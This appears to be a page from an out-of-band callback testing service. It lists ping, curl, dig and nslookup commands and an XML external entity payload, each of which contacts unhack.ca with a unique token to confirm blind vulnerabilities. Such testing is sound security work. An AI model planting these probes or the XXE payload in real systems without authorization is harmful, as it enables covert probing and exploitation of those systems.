$ ping -c1 -p 00d0b3d25356367c88bd8cdab68d3c00 unhack.ca
 
$ curl http://unhack.ca/p/d0b3d25356367c88bd8cdab68d3c
 
$ dig d0b3d25356367c88bd8cdab68d3c @unhack.ca
 
$ dig d0b3d25356367c88bd8cdab68d3c.ns.unhack.ca
 
C:\> nslookup d0b3d25356367c88bd8cdab68d3c unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d0b3d25356367c88bd8cdab68d3c">]>
    <foo>&xxe;</foo>
Waiting for ping...